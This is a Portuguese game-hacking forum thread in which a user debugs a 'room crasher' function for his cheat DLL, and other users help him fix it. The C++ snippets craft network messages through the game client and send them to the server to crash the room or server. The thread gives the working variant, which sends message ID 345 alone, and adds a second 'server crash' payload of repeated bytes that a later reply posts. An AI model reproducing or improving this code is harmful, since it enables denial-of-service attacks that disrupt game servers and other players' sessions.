SolvedRoom Crasher

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Room Crasher
eai galera,eu estou com um room crahser no meu hack que nao funciona de jeito nenhum '-'
queria pedir a ajuda de vcs pra me dizerem o que eu preciso modificar na source pra ele funfar.

Meu code:
void roomcrasher(INT &var)
{
if((*(BYTE *)GameStatus == 1) && var)
{
g_LTClient = *(CLTClient**)LTClientDLL;
g_CommonLT = g_LTClient->Common();
if(ValidPointer(g_LTClient))
{
CAutoMessage Msg;
Msg.Writeuint8(345);
// // useless part:
Msg.Writeuint8(1); // dont make effects.
Msg.Writeuint8(1); // dont make effects.
Msg.Writeuint8(1); // dont make effects.
Msg.Writeuint8(200); // dont make effects.
Msg.Writeuint8(1); // dont make effects.
Msg.Writeuint8(1); // dont make effects.
g_LTClient->SendToServer(Msg.Read(), MESSAGE_GUARANTEED);
}
}
}


Code Original:
void RoomCrasher(void)
{
if((*(BYTE *)GameStatus == 1) && Server &1)
{
g_LTClient = *(CLTClient**)LTClientDLL;
g_CommonLT = g_LTClient->Common();
if(ValidPointer(g_LTClient))
{
CAutoMessage Msg;
Msg.Writeuint8(153);
// // useless part:
Msg.Writeuint8(1); // dont make effects.
Msg.Writeuint8(1); // dont make effects.
Msg.Writeuint8(1); // dont make effects.
Msg.Writeuint8(200); // dont make effects.
Msg.Writeuint8(1); // dont make effects.
Msg.Writeuint8(1); // dont make effects.
g_LTClient->SendToServer(Msg.Read(), MESSAGE_GUARANTEED);
}
}
}

Eu tive que modificar umas coisa pra eu conseguir compilar ele '-',ja declarei a source tb,nao tem nada de errado na base,o problema é que in-game ele nao funciona.

Quem puder ajudar eu agradeço (=
Apenas Msg.Writeuint8(153); Se Não estou enganado...
Entao esse era o antigo,estava assim e não funcionava '-'
Para travar o quarto (Servidor Crasher) basta enviar o ID de um que é 345.

O que você está fazendo está sobrecarregando a função fazendo com que o servidor deixe de funcionar.
Quote Originally Posted by Flengo View Post
Para travar o quarto (Servidor Crasher) basta enviar o ID de um que é 345.

O que você está fazendo está sobrecarregando a função fazendo com que o servidor deixe de funcionar.
Para travar a sala*
Quote Originally Posted by Alessandro10 View Post


Para travar a sala*
Google Translate
Entao vai ficar desse jeito?

void roomcrasher(INT &var)
{
if((*(BYTE *)GameStatus == 1) && var)
{
g_LTClient = *(CLTClient**)LTClientDLL;
g_CommonLT = g_LTClient->Common();
if(ValidPointer(g_LTClient))
{
CAutoMessage Msg;
Msg.Writeuint8(345);
g_LTClient->SendToServer(Msg.Read(), MESSAGE_GUARANTEED);
}
}
}
Quote Originally Posted by -Spartacus View Post
Entao vai ficar desse jeito?
Exatamente....
Infelizmente nao adiantou,eu fiz o que o cara falou e ainda nao funciona '-'

Olhe só,eu tentei em mais 2 salas depois disso e tambem n adiantou
Olhe a Print
\/
Obrigado a todos pela ajuda,eu consegui resolver aqui,na hr q eu testei antes eu tinha usado a dll antiga,nao a que eu tinha compilado sem os Msg.Writeuint8,so agora que eu fui perceber '-'
Enfim,podem dar solved no topic já.
esse ta pegando

Code:
	if(pServerCrash) {
				Msg.Writeuint8(50); 
				Msg.Writeuint8(27); 
				Msg.Writeuint8(27);
				Msg.Writeuint8(27);
				Msg.Writeuint8(27); 
				Msg.Writeuint8(27);
				Msg.Writeuint8(27);
				Msg.Writeuint8(27);
				Msg.Writeuint8(27);
				g_LTClient->SendToServer(Msg.Read(), MESSAGE_GUARANTEED);
			}
não gosto Muito Dessa Função, ele acaba com o jogo.
Msg.WriteuintNota(10); Esse da inteligencia
Rlx podem fechar ja,eu consegui ontem de noite.
cara é só faze hipotenusa ao quadrado e calcular a soma dos catetos + a soma do angulo adjacente

#FIKADIKA
Quote Originally Posted by TokolocoSK View Post
cara é só faze hipotenusa ao quadrado e calcular a soma dos catetos + a soma do angulo adjacente

#FIKADIKA
Antes ou depois de encher o PC de soco?
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